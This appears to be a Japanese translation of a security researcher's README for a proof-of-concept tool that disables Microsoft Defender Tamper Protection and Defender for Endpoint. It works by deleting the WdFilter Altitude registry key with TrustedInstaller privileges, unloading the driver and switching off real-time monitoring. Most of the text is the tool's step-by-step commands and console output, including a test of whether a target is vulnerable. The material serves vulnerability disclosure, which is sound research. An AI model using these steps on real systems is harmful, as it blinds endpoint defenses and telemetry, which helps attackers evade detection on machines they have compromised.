alteredsecurity/disable-tamperprotectionTamperProtectionやその他のDefender / MDEコンポーネントを無効にするPoC
SYSTEM / TrustedInstaller権限を悪用して、WdFilterの設定（ALTITUDEレジストリキー）を改ざん・削除し、カーネルミニドライバをアンロードすることで、Tamper Protectionやその他のDefenderコンポーネントを無効化することが可能です。これはMicrosoftのDefender for Endpoint（MDE）にも影響し、MDEを標的に対するテレメトリやアクティビティの通知から遮断します。
この脆弱性は、テスト中に以下のWindowsバージョンに影響することが確認されました。
このバイパスとPOCを説明するブログ: https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components
注: ターゲットにVC_redist.x64.exe（MSVCランタイム）のインストールが必要になる場合があります。
POCデモ: https://youtu.be/MI6aVDHRix8
POCは3つのステップで動作します（管理者権限が必要です）:
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1: Unload WdFilter
2: Disable Tamper Protection
3: Disable AV/MDE
4: Restore AV/MDE settings
POCの使用例は次のとおりです:
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!
# 2回目の実行で上記の出力が繰り返される場合、ターゲットは脆弱ではありません
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
Next: 0 | Frame ID: 0 | No. of Instances: 4 | Name: wdfilter | Altitude: 328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!
# 再起動してWdFilterをクラッシュさせ、アンロードします
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
# 実行後にコンピュータを再起動して、設定を正常に復元します
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.
投稿者: Munaf Shariff (@m3rcer)
Altered Securityのセキュリティリサーチャー